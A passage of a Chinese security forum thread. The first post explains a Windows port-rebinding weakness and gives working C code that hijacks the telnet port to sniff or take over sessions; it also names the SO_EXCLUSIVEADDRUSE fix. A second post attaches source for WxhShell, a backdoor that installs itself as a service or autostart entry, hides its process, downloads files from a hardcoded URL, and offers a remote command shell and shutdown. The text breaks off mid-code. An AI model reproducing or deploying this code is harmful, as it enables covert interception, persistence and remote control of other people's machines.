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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7TU(~]Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B?gFFU61  
8 \BGL  
  saddr.sin_family = AF_INET; @{q:179w^  
cF V[k'F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CqVeR';2  
Wc HL:38  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y>! 8mDvZ  
Rp0`%}2 o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 asc Y E  
,j!%,!n o  
  这意味着什么?意味着可以进行如下的攻击: cp_<y)__  
Q8Fqf ;4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $a#-d;  
Fm#`}K_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T0e- X  
Z#NEa.]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sS{!z@\Lf  
M 8NWQ^Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E' _6v  
`i5\(cdl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MLT ^7'y  
ss0`9:z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X#Sgf|$  
`k.0d`3(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I83 _x|$FZ  
,_M  
  #include r oM!%hb  
  #include : *8t,f~s^  
  #include J?%ecCN  
  #include    (Go1@;5I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3j7Na#<tL3  
  int main() @#QaaR;4  
  { ^JM O POm  
  WORD wVersionRequested; 7R7e3p,K  
  DWORD ret; 6>NK2} `  
  WSADATA wsaData; :*I=' M9B  
  BOOL val; q@&6&cd  
  SOCKADDR_IN saddr; H8!)zZ  
  SOCKADDR_IN scaddr; 5"9 '=LV~  
  int err; OK" fFv  
  SOCKET s; .LI(2lP  
  SOCKET sc;  7CwQmVe+  
  int caddsize; -{z<+(K!$  
  HANDLE mt; 92(P~Sdv  
  DWORD tid;   n@$("p  
  wVersionRequested = MAKEWORD( 2, 2 ); ^xX1G _{  
  err = WSAStartup( wVersionRequested, &wsaData ); N;` jz(r  
  if ( err != 0 ) { ) #l&BV5  
  printf("error!WSAStartup failed!\n"); -P:o ^_)g  
  return -1; eA_]%7+`  
  } @%"r69\  
  saddr.sin_family = AF_INET; LsxRK5   
   {\vcwMUzZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L_sDbAT~<  
EC/=JlL`5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gvFs$X*^:  
  saddr.sin_port = htons(23); e'|IRhr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zQ#2BOx1  
  { {|B 2$1':  
  printf("error!socket failed!\n"); S| |OSxZ  
  return -1; 0.kC|  
  } ^AF~k#R  
  val = TRUE; 4TRF-f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 . e_VPKF|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s4`,Z*H  
  { @]YEOk-  
  printf("error!setsockopt failed!\n"); kB9@ &t +  
  return -1; ?mHu eX  
  } 7g>|e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %n^ugm0B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *. 1S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xzXNcQ  
7/zaf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @TJ2 |_s6]  
  { 0at['zw  
  ret=GetLastError(); sSy!mtS  
  printf("error!bind failed!\n"); }R!t/ 8K  
  return -1; Ou`;HN;[  
  } 4I8QM&7  
  listen(s,2); qVssw* GDB  
  while(1) 88KQ) NU  
  { Vg(FF "  
  caddsize = sizeof(scaddr); 9qk J<  
  //接受连接请求 g(C/J9J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K5HzA1^  
  if(sc!=INVALID_SOCKET) y!c<P,Lt3f  
  { '#a;n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &$heW,  
  if(mt==NULL) ?G[=pY:=  
  { jqlfypU  
  printf("Thread Creat Failed!\n"); to;^'#B  
  break; <+UJgB A-  
  } 7J1f$5$m5  
  } O%f{\Fr  
  CloseHandle(mt); vNHvuw K  
  } K'f^=bc I  
  closesocket(s); I;9C":'#  
  WSACleanup(); SLz;5%CPV  
  return 0; o@L2c3?c5  
  }   L[^.pO  
  DWORD WINAPI ClientThread(LPVOID lpParam) y@(EGfI  
  { 7+;.Q  
  SOCKET ss = (SOCKET)lpParam; M8R/a[ -A  
  SOCKET sc; i&q_h>ZT g  
  unsigned char buf[4096]; 8g {;o 7  
  SOCKADDR_IN saddr; E|A~T7G=  
  long num; z.|[g$F  
  DWORD val; Bbtc[@"X  
  DWORD ret; 3^iVDbAW{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |AXV4{j_i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @RZbo@{~  
  saddr.sin_family = AF_INET; ~ike&k{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ftz-l&5  
  saddr.sin_port = htons(23); hC4 M}(XM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `>GXJ~:D["  
  { JS/~6'uB  
  printf("error!socket failed!\n"); ,Jx.Kj.,  
  return -1; Pk;1q?tGw  
  } w"O{@2B3:H  
  val = 100; F:sUGM,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {e5-  
  { A2!pbeG  
  ret = GetLastError(); M8IU[Pz4  
  return -1; H<tU[U=G  
  } KGGnypx`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6tGF  
  { yg6o#;  
  ret = GetLastError(); 'w=aLu5dY  
  return -1; :`>tCYy;  
  } CzI s_/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Cj=_WWo  
  { o;21|[z  
  printf("error!socket connect failed!\n"); G#~U\QlG-  
  closesocket(sc); yg4#,4---b  
  closesocket(ss); %)Z,?DzZ  
  return -1; Res4;C  
  } 5j v*C]z  
  while(1) ]Ot=At  
  { N_G84wxx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4aKppj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 RXo6y(^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \t%iUZ$  
  num = recv(ss,buf,4096,0); '#>Fe`[  
  if(num>0) :2V|(:^ '  
  send(sc,buf,num,0); 1,7 }ah_  
  else if(num==0) 7'gk=MQc  
  break; I%b5a`7  
  num = recv(sc,buf,4096,0); $3g M P+  
  if(num>0) "<Yxt"Z4  
  send(ss,buf,num,0); <g&.UW4  
  else if(num==0) 2PSkLS&IM  
  break; }=B~n0  
  } u08j9) ,4  
  closesocket(ss); l;$FR4}d  
  closesocket(sc); =q>lP+  
  return 0 ; =:t<!dp  
  } noLr185  
}57Jn5&'  
|)br-?2  
========================================================== <9\Lv]ng  
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下边附上一个代码,,WXhSHELL RN}joKV  
D2J)qCK1)  
========================================================== C$$Zwgy  
RR|X4h0.  
#include "stdafx.h" 7VskZbj\  
 6@"E*-z$  
#include <stdio.h> KdD~;Ap$  
#include <string.h> {c~w Ms#  
#include <windows.h>  8hYl73#  
#include <winsock2.h> t 1~k+  
#include <winsvc.h> ,tDLpnB@;  
#include <urlmon.h> J@QOF+&  
DliDBArxZ  
#pragma comment (lib, "Ws2_32.lib") aHb&+/HZ  
#pragma comment (lib, "urlmon.lib") IwOL1\'T4  
S(^YTb7  
#define MAX_USER   100 // 最大客户端连接数 &kn?=NW  
#define BUF_SOCK   200 // sock buffer BS?i!Bm7  
#define KEY_BUFF   255 // 输入 buffer 72/ bC  
-8vGvI>  
#define REBOOT     0   // 重启 Y; iI =U  
#define SHUTDOWN   1   // 关机 |onLJY7)  
s Ytn'&$\  
#define DEF_PORT   5000 // 监听端口 4>2\{0r  
|`pBI0Sjo  
#define REG_LEN     16   // 注册表键长度 <WnIJum  
#define SVC_LEN     80   // NT服务名长度 #DARZhU)  
um%s9  
// 从dll定义API '+ mI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 66sgs16k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t~)4f.F:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nE?:nJ|%E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ujqnl>l  
/Dyig  
// wxhshell配置信息 i[MBO`FF  
struct WSCFG { y~Yv^'Epf  
  int ws_port;         // 监听端口 ,7 m33Pv*  
  char ws_passstr[REG_LEN]; // 口令 }_-tJ.  
  int ws_autoins;       // 安装标记, 1=yes 0=no X"mPRnE330  
  char ws_regname[REG_LEN]; // 注册表键名 +Z-{6C  
  char ws_svcname[REG_LEN]; // 服务名 X-Ev>3H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :fnJp9c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .JTRFk{W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }D`ZWTjDay  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,9"du  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4=`1C-v?q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X$G:3uoN  
r\}?HS06  
}; \){_\{&  
Pa#Jwo  
// default Wxhshell configuration  Lsai8 B  
struct WSCFG wscfg={DEF_PORT, .gN ziDO  
    "xuhuanlingzhe", xi4b;U j  
    1, G$)tp^%]  
    "Wxhshell", ZoYllk   
    "Wxhshell", w~+\Mfz  
            "WxhShell Service", MmU`i ,z  
    "Wrsky Windows CmdShell Service", WnU2.:  
    "Please Input Your Password: ", qrjSG%i~J7  
  1, eD3\>Y.z  
  "http://www.wrsky.com/wxhshell.exe", C3N1t  
  "Wxhshell.exe" YMy**  
    }; M= |is*t  
`c|H^*RC  
// 消息定义模块 Z0O0Q=e\Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B*E"yB\NV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I[gPW7&S@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W voIh4]  
char *msg_ws_ext="\n\rExit."; 9$qw&j[  
char *msg_ws_end="\n\rQuit."; 2yD ?f8P4  
char *msg_ws_boot="\n\rReboot..."; DZLEx{cm  
char *msg_ws_poff="\n\rShutdown..."; 8|$g"? CU  
char *msg_ws_down="\n\rSave to "; 9~2iA,xs  
@HnahD  
char *msg_ws_err="\n\rErr!"; J5O/c,?g  
char *msg_ws_ok="\n\rOK!"; $P)-o?eer  
|/c-~|%  
char ExeFile[MAX_PATH]; C-@M|K9A'  
int nUser = 0; W5e >Z&&  
HANDLE handles[MAX_USER]; A |@d{g  
int OsIsNt; .W$9nbly  
:Ig9n :  
SERVICE_STATUS       serviceStatus; YHke^Ind  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ux*G*QZ  
*b!.9pK  
// 函数声明 7/fJQM  
int Install(void); T,Q7 YI  
int Uninstall(void); "vkM*HP  
int DownloadFile(char *sURL, SOCKET wsh); uZ@qlq8  
int Boot(int flag); !>wu7u-  
void HideProc(void); q4'`qe  
int GetOsVer(void); ??|,wIRz  
int Wxhshell(SOCKET wsl); ^^24a_+2  
void TalkWithClient(void *cs); d_f*'M2Gv  
int CmdShell(SOCKET sock); 0F6@aQ\y3  
int StartFromService(void); |Q@(<'8=  
int StartWxhshell(LPSTR lpCmdLine); ftRdK>a D  
x_/l,4_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BeD>y@ it  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fi7~JZZ  
R<hsG%BS(D  
// 数据结构和表定义 u-bgk(u  
SERVICE_TABLE_ENTRY DispatchTable[] = +afkpvj8  
{ Sj*W|n\gj  
{wscfg.ws_svcname, NTServiceMain}, M0e&GR8<z>  
{NULL, NULL} #,FXc~V  
}; #Aj#C>  
`K[r5;QFKf  
// 自我安装 ^ 5>W`vwp  
int Install(void) qI tbY%  
{ 7Up-a^k^`  
  char svExeFile[MAX_PATH]; iAPGP -<6  
  HKEY key; \{Je!#  
  strcpy(svExeFile,ExeFile); Lm.N {NV'  
9x(t"VPuS  
// 如果是win9x系统,修改注册表设为自启动 &|Rww\oJ  
if(!OsIsNt) { mq(K_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "jq6FT)O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o4j!:CI  
  RegCloseKey(key); G=CP17&h6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !c0x^,iE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .<YfnW5/K  
  RegCloseKey(key); sYSq>M  
  return 0; gdh|X[d  
    } muBl~6_mb2  
  } 9KT85t1#  
} )(1tDQ`L>  
else { /?|;f2tbV2  
vS:=%@c>ta  
// 如果是NT以上系统,安装为系统服务 R!\._m?\h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wcl =YB%  
if (schSCManager!=0) Gg:W%&#  
{ uKJo5%>  
  SC_HANDLE schService = CreateService EpCNp FQT<  
  ( $bBUL C  
  schSCManager, CSwB+yN  
  wscfg.ws_svcname, M:d|M|'  
  wscfg.ws_svcdisp, mZ3Z8q}%P  
  SERVICE_ALL_ACCESS, yM(ezb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x[BA <UNO  
  SERVICE_AUTO_START, M0)ZJti  
  SERVICE_ERROR_NORMAL, Fa </  
  svExeFile, OU^I/TU  
  NULL, O`PQ4Q*F  
  NULL, #"H<k(-Cz  
  NULL, %RzkP}1>E  
  NULL, ;7JyL|2  
  NULL us<dw@P7{  
  ); #k!;=\FV  
  if (schService!=0) |="Y3}a  
  { 3.=o}!  
  CloseServiceHandle(schService); b"w2 2%  
  CloseServiceHandle(schSCManager); B < HD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &4M,)Q (  
  strcat(svExeFile,wscfg.ws_svcname); b `cH.v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Iu;VFa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 83'rQDo)G  
  RegCloseKey(key); a", 8N"'  
  return 0; |OZ>5  
    } k>E/)9%ep2  
  } P8ns @VV  
  CloseServiceHandle(schSCManager); n2["Ln mO  
} Np.<&`p!  
} &s\/Uq  
ZKB27D_vg>  
return 1; h<WTN_i}  
}  xG'F  
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// 自我卸载 jq|fI P  
int Uninstall(void) 6}\J-A/  
{ Gq?>Bi;`  
  HKEY key; :0o]#7  
:&RpB^]  
if(!OsIsNt) { I Vw'YtZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <){J|O  
  RegDeleteValue(key,wscfg.ws_regname); 92*"3)  
  RegCloseKey(key); "9y 0]~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uL~.#Y_jQ  
  RegDeleteValue(key,wscfg.ws_regname); ! ;Ctz'wz  
  RegCloseKey(key); F)S?>P&  
  return 0; >bO}sx1?  
  } K2tOt7M!  
} lXnv(3j3*s  
} V r T0S  
else { Dk g-y9  
CzmB76zy.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WxtB:7J  
if (schSCManager!=0) K#y CZ2  
{ zWF[cf>'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d#I; e  
  if (schService!=0) 8Urj;KkD  
  { `2HNQiK'@  
  if(DeleteService(schService)!=0) { <*ME&c gh4  
  CloseServiceHandle(schService); UGA` `;f  
  CloseServiceHandle(schSCManager); 4X>=UO``L  
  return 0; LcHe5Bv%  
  } n3s  
  CloseServiceHandle(schService); U {9yfy  
  } 88DMD"$B  
  CloseServiceHandle(schSCManager); )hfI,9I~  
} B+ZhQW  
} buMST&  
bp P3#~ K  
return 1; -{$L`{|G  
} ,mt=)Ac  
"Y=4Y;5q  
// 从指定url下载文件 Z.U8d(  
int DownloadFile(char *sURL, SOCKET wsh) ;!H]&2`'(  
{ !q^2| %  
  HRESULT hr; A$::|2~  
char seps[]= "/"; h$$i@IO0  
char *token; >WY\P4)k  
char *file; z3yAb"1Hg  
char myURL[MAX_PATH]; m=^ihQ  
char myFILE[MAX_PATH]; Q\2~^w1V  
(:7Z-V2(  
strcpy(myURL,sURL); 3lefB A7  
  token=strtok(myURL,seps); vUJQ<D  
  while(token!=NULL) [-3x*?Ju  
  { kY~o3p<  
    file=token; 6CNxb  
  token=strtok(NULL,seps); Mqmy*m[U  
  } V_=7q=9mV  
p8E6_%Rw  
GetCurrentDirectory(MAX_PATH,myFILE); '77Gg  
strcat(myFILE, "\\"); T K Ec ^  
strcat(myFILE, file); xG,L*3c{o  
  send(wsh,myFILE,strlen(myFILE),0); OH`|aqN  
send(wsh,"...",3,0); zj#8@gbh+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c7 O$< F  
  if(hr==S_OK) 5 r&n  
return 0; a,?u 2  
else JZoH -  
return 1; $HFimU,V=0  
B>e},!  
} ,4S6F HK  
OZ Hfd7K4A  
// 系统电源模块 p</V_BIW  
int Boot(int flag) ;PWx#v+vwF  
{ 1&utf0TX6q  
  HANDLE hToken; .J2tm2]"EZ  
  TOKEN_PRIVILEGES tkp; lXu6=r  
:v8~'cZ  
  if(OsIsNt) { z_t%n<OvK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >8w=Vlp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e]3b0`E  
    tkp.PrivilegeCount = 1; c+G%o8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sN@=Ri?\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ko`KAU<T_  
if(flag==REBOOT) { SfGl*2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?w>-ya  
  return 0; /jd.<r=_I  
} 4cJka~  
else { 'a=QCO 0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (L !#2Jy  
  return 0;  *#sY-Gd  
} )'axJ  
  } ~x g#6%<=  
  else { f9?f!k  
if(flag==REBOOT) { =(p]L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dC 8,  
  return 0; ,<]~/5-f  
} =~'{2gsB  
else { A=\:b^\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C dTE~O<)  
  return 0; &u9@FFBT8  
} n~?n+\.&a  
} Aiqn6BX{  
+o}mV.&1,  
return 1; ]Jx_bs~g  
} =g$>]AE  
}/.GB5Ej  
// win9x进程隐藏模块 [> LL  
void HideProc(void) ]E}eM@xdD  
{ }\ hz@G<  
p JM&R<i:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `(lD]o{,s  
  if ( hKernel != NULL ) fz W!-  
  { 9wpV} .(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U$wD'v3pw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #0 eop>O  
    FreeLibrary(hKernel); QK(w2`  
  } xcE<|0N :  
LAU\.d  
return; 50NLguE  
} i5Dq'wp  
]O+W+h{]  
// 获取操作系统版本 )wfqGkr=m!  
int GetOsVer(void) e>!=)6[*  
{ )]3_o!o  
  OSVERSIONINFO winfo; ,p9>/)l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R}HNi(%"  
  GetVersionEx(&winfo); dNT<![X\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G"nGaFT~  
  return 1; H.*aVb$  
  else +VRM:&  
  return 0; 9]PMti  
} T<K/bzB3z  
t-VU&.Y  
// 客户端句柄模块 XSe\@t~&g  
int Wxhshell(SOCKET wsl) &W$s-qf".  
{ &a?k1R>  
  SOCKET wsh; GVUZn//  
  struct sockaddr_in client; T1g3`7C3  
  DWORD myID; lka Wwjv_D  
cX4I+Mf  
  while(nUser<MAX_USER) )6:1`&6  
{ Gq0`VHAn  
  int nSize=sizeof(client); ]@hN&W(+x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b+e9Pi*\  
  if(wsh==INVALID_SOCKET) return 1; USJk *  
((mR' A|`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O7# 8g$ZIv  
if(handles[nUser]==0) ,V.Bzf%=O  
  closesocket(wsh); =RjseTS  
else K%WG[p\Eu  
  nUser++; 7L$\S[E  
  } \,-e>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v&8s>~i`K  
#(G"ya  
  return 0; pRGag~h|E  
} sz+%4T  
(svKq(X  
// 关闭 socket .r\|9 *j<  
void CloseIt(SOCKET wsh) /xw}]Fa5  
{ G:i>MJbxT  
closesocket(wsh);  r74' _y  
nUser--; :fA|J!^b[  
ExitThread(0); /<T3^/ '  
} s&F& *5W  
';KWHk8C  
// 客户端请求句柄 _Z_R\  
void TalkWithClient(void *cs) j kV9$W0  
{ I T?~`vi  
);=0cnr3  
  SOCKET wsh=(SOCKET)cs; s |!lw  
  char pwd[SVC_LEN]; 1Ms_2  
  char cmd[KEY_BUFF]; 8M8Odz\3 q  
char chr[1]; *IWWD\U  
int i,j; 1w'W)x  
6\vaR#  
  while (nUser < MAX_USER) { yz^4TqJ  
T$*#q('1"}  
if(wscfg.ws_passstr) { 0t2n7Y?N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^50\c$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AS/z1M_U  
  //ZeroMemory(pwd,KEY_BUFF); g<g$c<sm  
      i=0; =+w!fy  
  while(i<SVC_LEN) { - `{T?  
}j;G`mV2  
  // 设置超时 aI_[h v  
  fd_set FdRead; "2z&9`VIY  
  struct timeval TimeOut; a7n`(}?Y  
  FD_ZERO(&FdRead); !4+ FN)  
  FD_SET(wsh,&FdRead); n.OsmCRN;  
  TimeOut.tv_sec=8; 9NeHN@D)  
  TimeOut.tv_usec=0; Y@ X>ejk"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bkFO4OZd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N^f_hL|:9  
r-$VPW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /_1q)`NYy  
  pwd=chr[0]; qFN`pe,  
  if(chr[0]==0xd || chr[0]==0xa) { {h0T_8L/  
  pwd=0; d9q`IZqee  
  break; !nL>Ly  
  } KpC!C9  
  i++; Of m0{c=  
    } @ )Nw>/; o  
`wKd##v'@  
  // 如果是非法用户,关闭 socket Af Y ]i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U3~rtc*  
} y 'Ah*h  
!3`X Gg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QB ; jZpF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G124! ^  
SA%uGkm:e  
while(1) { TlD^EJG  
OM?FpRVU8  
  ZeroMemory(cmd,KEY_BUFF); F+)g!NQZ  
PFjh]/=  
      // 自动支持客户端 telnet标准   =HjC.h  
  j=0; _o? I=UN2:  
  while(j<KEY_BUFF) { `t3w|%La}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LjCUkbzQF  
  cmd[j]=chr[0]; rqz48~\lJ  
  if(chr[0]==0xa || chr[0]==0xd) { zE+^WeH|  
  cmd[j]=0; =rA]kGx  
  break; 9D]bCi\  
  } S4VM(~,o  
  j++; l'7' G$v  
    } ^ddC a  
eh}|Wd7J  
  // 下载文件 B*:W`}G]_c  
  if(strstr(cmd,"http://")) { ?-JW2 E"uT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m= rMx]k  
  if(DownloadFile(cmd,wsh)) q\xsXM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zs2;VW4RW  
  else ]z8Th5a?o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '&/~Sh$%  
  } |_OoD9,M  
  else { z}F^HQ 1  
2TgS )  
    switch(cmd[0]) { u Au'2M,_  
  9r> iP L2H  
  // 帮助 9SXpZ*Sx  
  case '?': { 3hcWR'|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <[vsGUbc  
    break; f`YHZ O  
  } 49= K]X  
  // 安装 (t5vBUj  
  case 'i': { E Q]>^VE2B  
    if(Install()) j\iNag(   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W@RD bsc  
    else Z-3("%_$/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +V;d^&S  
    break; }=A+W2D  
    } eOahr:Db  
  // 卸载 1BSn#Dnj  
  case 'r': { Q-J} :U  
    if(Uninstall()) Q5]rc`} 5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m[ER~]L/C  
    else BmaY&?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hPuF:iiQ4  
    break; ']N\y6=fn9  
    } 9M-W 1prb  
  // 显示 wxhshell 所在路径 )}u?ftu\  
  case 'p': { 4U3 `g  
    char svExeFile[MAX_PATH]; n.Y45(@E  
    strcpy(svExeFile,"\n\r"); Zt}b}Bz  
      strcat(svExeFile,ExeFile); -$I$zo  
        send(wsh,svExeFile,strlen(svExeFile),0); EAHdt=8W{  
    break; OZ/"W)  
    } H(kxRPH4@]  
  // 重启 =.l>Uw!  
  case 'b': { mR~S$6cc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yji>vJHu  
    if(Boot(REBOOT)) =3PZGdWD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lo-VfKvy  
    else { 5a4i)I6 3o  
    closesocket(wsh); %~P3t=r  
    ExitThread(0); \d3~kq3  
    } )5fly%-r)  
    break; 3xgU=@!;  
    } WR_B:%W.  
  // 关机 4#W*f3d[@:  
  case 'd': { L s+zJ1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yq!peFu  
